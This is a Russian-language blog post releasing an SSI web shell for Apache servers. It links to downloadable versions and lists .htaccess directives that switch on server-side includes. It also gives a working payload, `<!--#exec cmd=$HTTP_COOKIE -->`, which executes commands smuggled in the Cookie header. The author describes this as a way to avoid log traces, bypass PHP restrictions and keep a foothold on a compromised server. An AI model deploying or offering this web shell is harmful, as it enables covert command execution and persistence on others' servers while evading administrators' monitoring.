SSI Web shell

Hint: flag is not a frag: once you've got it, you can get one more...

Как-то давно выкладывал кривоватый скрипт, который немного визуализирует исполнение команд и получение информации о сервере при помощи SSI.
Он потерялся, недавно хотел сделать такой, только менее палевный и с дизом WSO ;)
Но понял, что к чёрту не нужно, ибо всё равно функции SSI-шелла — это обойти ограничения PHP и где-то закрепиться, постоянно им пользоваться ни к чему, а писать шелл геморно весьма.
Большая часть кода в итоге получится на JavaScript :)

Короче, вот тот старый шелл: http://ahack.ru/releases/ssishell.rar

Старое же описание мегафич:

+ Общая информация
+ Все переменные окружения
+ Выполнение shell-кода
+ Просмотр файлов (cat)
+ SSI-инклуд произвольных файлов

Если в httpd.conf не подключен модуль mod_include, в .htaccess следует прописать следующее:


AddType text/html .shtml
AddHandler server-parsed .shtml
Options +Includes

А как можно исполнять команды без метода get и палевности в логах средствами SSI?
Можно передавать данные в полях HTTP-заголовка, благо язык позволяет работать с переменными окружения. Например, можно написать:


<!--#exec cmd=$HTTP_COOKIE -->


UP! Спустя 2 года решил поколупать эту штуку и переписал её так, чтобы команды отправлялись через HTTP_COOKIE. Работа с печеньками организована конечно с помощью JavaScript.

Новая версия (1.2): http://ahack.ru/releases/ssishell_1.2.rar

Ещё немного изменено юзабилити -- всё свёрнуто в дивы с style=display:none;, кроме шелла, разворачивается по нажатию на ссылку.

Кстати, для того, чтобы завести mod_include в ubuntu, надо написать:

sudo a2enmod include
sudo /etc/init.d/apache2 restart

Ещё надо отметить, что в httpd.conf может быть прописано Options IncludesNoExec. В таком случае пригодится читалка неисполняемых файлов, которая присутствует в данном веб-шелле.